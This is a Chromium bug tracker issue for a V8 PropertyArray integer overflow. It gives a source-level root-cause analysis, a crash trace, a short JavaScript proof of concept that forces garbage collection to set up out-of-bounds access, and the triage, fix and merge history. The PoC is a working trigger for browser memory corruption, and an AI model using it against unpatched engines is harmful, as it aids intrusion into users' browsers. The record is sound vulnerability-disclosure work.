New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 789393 link

Starred by 3 users

Issue metadata

Status: Fixed
Owner:
Closed: Dec 2017
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Android , Windows , Chrome , Mac , Fuchsia
Pri: 1
Type: Bug-Security



Sign in to add a comment

Security: V8: Integer overflow with PropertyArray

Project Member Reported by lokihardt@google.com, Nov 29 2017

Issue description

Here's a snippet of the MigrateFastToFast function which is used to create a new PropertyArray object.

  int number_of_fields = new_map->NumberOfFields();
  int inobject = new_map->GetInObjectProperties();
  int unused = new_map->UnusedPropertyFields();

  ...

  int total_size = number_of_fields + unused;
  int external = total_size - inobject;
  Handle<PropertyArray> array = isolate->factory()->NewPropertyArray(external);

The new_map variable may come from the Map::CopyWithField method.

Here's a snippet of the method.
MaybeHandle<Map> Map::CopyWithField(Handle<Map> map, Handle<Name> name,
                                    Handle<FieldType> type,
                                    PropertyAttributes attributes,
                                    PropertyConstness constness,
                                    Representation representation,
                                    TransitionFlag flag) {
  ...
  if (map->NumberOfOwnDescriptors() >= kMaxNumberOfDescriptors) {
    return MaybeHandle<Map>();
  }

  DCHECK_IMPLIES(!FLAG_track_constant_fields, constness == kMutable);
  Descriptor d = Descriptor::DataField(name, index, attributes, constness,
                                       representation, wrapped_type);

  Handle<Map> new_map = Map::CopyAddDescriptor(map, &d, flag);
  new_map->AccountAddedPropertyField();
  return new_map;
}

The Map::CopyAddDescriptor method adds one more descriptor to the map, and the AccountAddedPropertyField method may make the UnusedPropertyFields() up to 2. Since kMaxNumberOfDescriptors is 1022, new_map's NumberOfFields() can be 1022, and UnusedPropertyFields() can be 2 in certain circumstances.

This means, in the MigrateFastToFast method, the "external" variable can be 1024 which exceeds the maximum value of a ProperyArray's length which is 1023. So the created array's length() will return 0, it hits the following assert.

#
# Fatal error in ../../v8/src/objects-inl.h, line 1750
# Debug check failed: index < this->length() (0 vs. 0).
#

==== C stack trace ===============================

    0   d8                                  0x00000001071f6372 v8::base::debug::StackTrace::StackTrace() + 34
    1   d8                                  0x00000001071fdcc0 v8::platform::(anonymous namespace)::PrintStackTrace() + 192
    2   d8                                  0x00000001071eaf4a V8_Fatal(char const*, int, char const*, ...) + 442
    3   d8                                  0x00000001071ea6af v8::base::(anonymous namespace)::DefaultDcheckHandler(char const*, int, char const*) + 47
    4   d8                                  0x0000000105b0375c v8::internal::PropertyArray::set(int, v8::internal::Object*) + 1116
    5   d8                                  0x000000010630e10e v8::internal::JSObject::MigrateToMap(v8::internal::Handle<v8::internal::JSObject>, v8::internal::Handle<v8::internal::Map>, int) + 18558
    6   d8                                  0x00000001061f858b v8::internal::LookupIterator::ApplyTransitionToDataProperty(v8::internal::Handle<v8::internal::JSObject>) + 1899
    7   d8                                  0x000000010632221e v8::internal::Object::AddDataProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::PropertyAttributes, v8::internal::ShouldThrow, v8::internal::Object::StoreFromKeyed) + 2254
    8   d8                                  0x000000010631f338 v8::internal::Object::SetProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::LanguageMode, v8::internal::Object::StoreFromKeyed) + 1112
    9   d8                                  0x0000000105f90c07 v8::internal::StoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Name>, v8::internal::Handle<v8::internal::Object>, v8::internal::Object::StoreFromKeyed) + 4647
    10  d8                                  0x0000000105f9ca62 v8::internal::KeyedStoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>) + 2258
    11  d8                                  0x0000000105fae469 v8::internal::__RT_impl_Runtime_KeyedStoreIC_Miss(v8::internal::Arguments, v8::internal::Isolate*) + 1321
    12  d8                                  0x0000000105fad513 v8::internal::Runtime_KeyedStoreIC_Miss(int, v8::internal::Object**, v8::internal::Isolate*) + 979
    13  ???                                 0x000000010d385204 0x0 + 4516762116
Received signal 4 <unknown> 0001071f2478
Illegal instruction: 4

It seems like OOB writes, but actually it is not. array->length() just returns 0, it's allocated enough to contain 1024 elements. But this affects the Garbage Collector to reallocate the array with the 0 length. So after the garbage collection, it can lead to OOB reads/writes.

PoC:
function gc() {
    for (let i = 0; i < 20; i++)
        new ArrayBuffer(0x1000000);
}

function trigger() {
    function* generator() {
    }

    for (let i = 0; i < 1022; i++) {
        generator.prototype['b' + i];
        generator.prototype['b' + i] = 0x1234;
    }

    gc();

    for (let i = 0; i < 1022; i++) {
        generator.prototype['b' + i] = 0x1234;
    }
}

trigger();


Tested on V8 version 6.4.381.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

 
 
Description: Show this description

Comment 2 by palmer@chromium.org, Nov 29 2017

Cc: titzer@chromium.org hablich@chromium.org
Labels: M-64 Security_Severity-High Security_Impact-Stable OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows
Owner: hpayer@chromium.org
hpayer: Can you please find the right owner? Thanks!
Cc: ishell@chromium.org hpayer@chromium.org jarin@chromium.org
Owner: bmeu...@chromium.org
Status: Assigned (was: Unconfirmed)
bmeurer@ can you please investigate and re-assign?
Cc: bmeu...@chromium.org
Owner: gsat...@chromium.org
Sorry, didn't see this one earlier. Sathya, please take a look.
Cc: gsat...@chromium.org
Owner: u...@chromium.org
GC's slack tracking for property array is incorrect. Adding ulan@

Comment 6 by u...@chromium.org, Dec 13 2017

Cc: verwa...@chromium.org
> GC's slack tracking for property array is incorrect.
I don't think it's a GC issue. I did refactoring in this area and changed how unused property fields are stored, but that did not affect the limits of the arrays and properties.

The root cause of the problem is that there is an implicit invariant:
MaxNumberOfDescriptors + MaxNumberOfUnusedFieldsInPropertyArray <= MaxPropertyArrayLength.

Looks like the bug slipped through in
https://chromium-review.googlesource.com/c/v8/v8/+/713616/7/src/objects.h
where the width of the prototype array length field decreases from 11 bits to 10 bits.

I will upload a fix that decreases MaxNumberOfDescriptors and makes the implicit invariant into and explicit assert.

Comment 7 by u...@chromium.org, Dec 13 2017

> where the width of the prototype array length field decreases from 11 bits to 10 bits.
Actually, I counted wrong. That CL did not change the width. The width was 10 bits from the very beginning of PropertyArrays.

Project Member

Comment 8 by bugdroid1@chromium.org, Dec 13 2017

The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/3ecb047abae69064052f268896afd3fe0824e0ce

commit 3ecb047abae69064052f268896afd3fe0824e0ce
Author: Ulan Degenbaev <ulan@chromium.org>
Date: Wed Dec 13 18:59:26 2017

[runtime] Decrease the maximum number of descriptors.

This ensures that MigrateFastToFast does not overflow the length of the
property array.

Bug:  chromium:789393 
Change-Id: I77adc319c1c8c469ea482bad35ead8661d535192
Reviewed-on: https://chromium-review.googlesource.com/824167
Commit-Queue: Ulan Degenbaev <ulan@chromium.org>
Reviewed-by: Igor Sheludko <ishell@chromium.org>
Reviewed-by: Sathya Gunasekaran <gsathya@chromium.org>
Cr-Commit-Position: refs/heads/master@{#50086}
[modify] https://crrev.com/3ecb047abae69064052f268896afd3fe0824e0ce/src/objects.h
[modify] https://crrev.com/3ecb047abae69064052f268896afd3fe0824e0ce/src/property-details.h
[modify] https://crrev.com/3ecb047abae69064052f268896afd3fe0824e0ce/test/mjsunit/dictionary-prototypes.js

Comment 9 by u...@chromium.org, Dec 14 2017

Cc: u...@chromium.org
Owner: gsat...@chromium.org
I triaged using the PoC test.

The crash started with:
Reland "[runtime] Load only 10 bits as PropertyArray length" (https://chromium-review.googlesource.com/583708)

Based on this I am handing over the bug to Sathya for all the follow-up work required for security issues:
1) add a regression test,
2) back merge the fix to the affected branches,
3) audit and harden PropertyArray code.

Comment 10 by u...@chromium.org, Dec 19 2017

Labels: Merge-Request-64 Merge-Request-63 M-62 M-63
gsathya@, ping regarding comment #9. Could you please take over this bug?
Project Member

Comment 11 by sheriffbot@chromium.org, Dec 19 2017

Labels: -Merge-Request-64 Hotlist-Merge-Review Merge-Review-64
This bug requires manual review: M64 has already been promoted to the beta branch, so this requires manual review
Please contact the milestone owner if you have questions.
Owners: cmasso@(Android), cmasso@(iOS), kbleicher@(ChromeOS), abdulsyed@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Looks like the fix went into 65.0.3295.0 which was released on Dec 16 and has had canary coverage -- https://chromiumdash-staging.googleplex.com/commit/3ecb047abae69064052f268896afd3fe0824e0ce

Cc: abdulsyed@chromium.org

Comment 14 by habl...@google.com, Dec 19 2017

Labels: -Merge-Review-64 Merge-Approved-64
Cc: awhalley@chromium.org
+  awhalley@ for M63 merge review
Project Member

Comment 16 by sheriffbot@chromium.org, Dec 20 2017

Labels: -M-62
Project Member

Comment 17 by sheriffbot@chromium.org, Dec 20 2017

Status: Fixed (was: Assigned)
Please mark security bugs as fixed as soon as the fix lands, and before requesting merges. This update is based on the merge- labels applied to this issue. Please reopen if this update was incorrect.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 18 by sheriffbot@chromium.org, Dec 21 2017

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
gsathya@, reminder to please merge CL to M64 branch 3282 if you've confirmed fix in M65.
Project Member

Comment 20 by bugdroid1@chromium.org, Jan 4 2018

Labels: merge-merged-6.4
The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/731fd1d4162897965209aa24ee0a32bf2f92fe14

commit 731fd1d4162897965209aa24ee0a32bf2f92fe14
Author: Sathya Gunasekaran <gsathya@chromium.org>
Date: Thu Jan 04 00:56:05 2018

Merged: [runtime] Decrease the maximum number of descriptors.

Revision: 3ecb047abae69064052f268896afd3fe0824e0ce

BUG= chromium:789393 
LOG=N
NOTRY=true
NOPRESUBMIT=true
NOTREECHECKS=true
R=adamk@chromium.org

Change-Id: I6db4e3575be59f6acbb2801786622f21d1d0be0f
Reviewed-on: https://chromium-review.googlesource.com/849654
Reviewed-by: Adam Klein <adamk@chromium.org>
Cr-Commit-Position: refs/branch-heads/6.4@{#26}
Cr-Branched-From: 0407506af3d9d7e2718be1d8759296165b218fcf-refs/heads/6.4.388@{#1}
Cr-Branched-From: a5fc4e085ee543cb608eb11034bc8f147ba388e1-refs/heads/master@{#49724}
[modify] https://crrev.com/731fd1d4162897965209aa24ee0a32bf2f92fe14/src/objects.h
[modify] https://crrev.com/731fd1d4162897965209aa24ee0a32bf2f92fe14/src/property-details.h

Please merge the approved cl(s) to M64 release branch 3282 as soon as possible.
Labels: -Merge-Approved-64 merge-merged-64
Already merged as per comment#20
Labels: -Merge-Request-63 Merge-Rejected-63
We're not planning any further M63 releases. Hence, rejecting merge to M63.
Labels: Release-0-M64
Cc: pelizzi@google.com
Project Member

Comment 26 by sheriffbot@chromium.org, Mar 27 2018

Labels: -M-63 -M-64 M-65
Project Member

Comment 27 by sheriffbot@chromium.org, Mar 28 2018

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment